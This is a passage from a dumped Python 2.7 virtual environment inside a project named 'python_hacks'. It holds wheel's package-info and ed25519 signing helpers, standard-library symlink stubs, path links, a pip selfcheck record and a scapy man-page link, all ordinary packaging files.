29 | def read_pkg_info_bytes(bytestr):
30 | headers = bytestr.decode(encoding="ascii", errors="surrogateescape")
31 | message = Parser().parsestr(headers)
32 | return message
33 |
34 | def read_pkg_info(path):
35 | with open(path, "r",
36 | encoding="ascii",
37 | errors="surrogateescape") as headers:
38 | message = Parser().parse(headers)
39 | return message
40 |
41 | def write_pkg_info(path, message):
42 | with open(path, "wb") as out:
43 | BytesGenerator(out, mangle_from_=False, maxheaderlen=0).flatten(message)
44 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel/signatures/ed25519py.py:
--------------------------------------------------------------------------------
1 | import os
2 | import warnings
3 | from collections import namedtuple
4 |
5 | from . import djbec
6 |
7 | __all__ = ['crypto_sign', 'crypto_sign_open', 'crypto_sign_keypair', 'Keypair',
8 | 'PUBLICKEYBYTES', 'SECRETKEYBYTES', 'SIGNATUREBYTES']
9 |
10 | PUBLICKEYBYTES = 32
11 | SECRETKEYBYTES = 64
12 | SIGNATUREBYTES = 64
13 |
14 | Keypair = namedtuple('Keypair', ('vk', 'sk')) # verifying key, secret key
15 |
16 |
17 | def crypto_sign_keypair(seed=None):
18 | """Return (verifying, secret) key from a given seed, or os.urandom(32)"""
19 | if seed is None:
20 | seed = os.urandom(PUBLICKEYBYTES)
21 | else:
22 | warnings.warn("ed25519ll should choose random seed.",
23 | RuntimeWarning)
24 | if len(seed) != 32:
25 | raise ValueError("seed must be 32 random bytes or None.")
26 | skbytes = seed
27 | vkbytes = djbec.publickey(skbytes)
28 | return Keypair(vkbytes, skbytes+vkbytes)
29 |
30 |
31 | def crypto_sign(msg, sk):
32 | """Return signature+message given message and secret key.
33 | The signature is the first SIGNATUREBYTES bytes of the return value.
34 | A copy of msg is in the remainder."""
35 | if len(sk) != SECRETKEYBYTES:
36 | raise ValueError("Bad signing key length %d" % len(sk))
37 | vkbytes = sk[PUBLICKEYBYTES:]
38 | skbytes = sk[:PUBLICKEYBYTES]
39 | sig = djbec.signature(msg, skbytes, vkbytes)
40 | return sig + msg
41 |
42 |
43 | def crypto_sign_open(signed, vk):
44 | """Return message given signature+message and the verifying key."""
45 | if len(vk) != PUBLICKEYBYTES:
46 | raise ValueError("Bad verifying key length %d" % len(vk))
47 | rc = djbec.checkvalid(signed[:SIGNATUREBYTES], signed[SIGNATUREBYTES:], vk)
48 | if not rc:
49 | raise ValueError("rc != True", rc)
50 | return signed[SIGNATUREBYTES:]
51 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/sre.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/sre.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/sre_compile.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/sre_compile.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/sre_constants.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/sre_constants.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/sre_parse.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/sre_parse.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/stat.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/stat.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/types.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/types.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/warnings.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/warnings.py
--------------------------------------------------------------------------------
/venv/local/bin:
--------------------------------------------------------------------------------
1 | /root/PycharmProjects/python_hacks/venv/bin
--------------------------------------------------------------------------------
/venv/local/include:
--------------------------------------------------------------------------------
1 | /root/PycharmProjects/python_hacks/venv/include
--------------------------------------------------------------------------------
/venv/local/lib:
--------------------------------------------------------------------------------
1 | /root/PycharmProjects/python_hacks/venv/lib
--------------------------------------------------------------------------------
/venv/pip-selfcheck.json:
--------------------------------------------------------------------------------
1 | {"last_check":"2018-01-04T16:38:38Z","pypi_version":"9.0.1"}
--------------------------------------------------------------------------------
/venv/share/man/man1/scapy.1.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/share/man/man1/scapy.1.gz
--------------------------------------------------------------------------------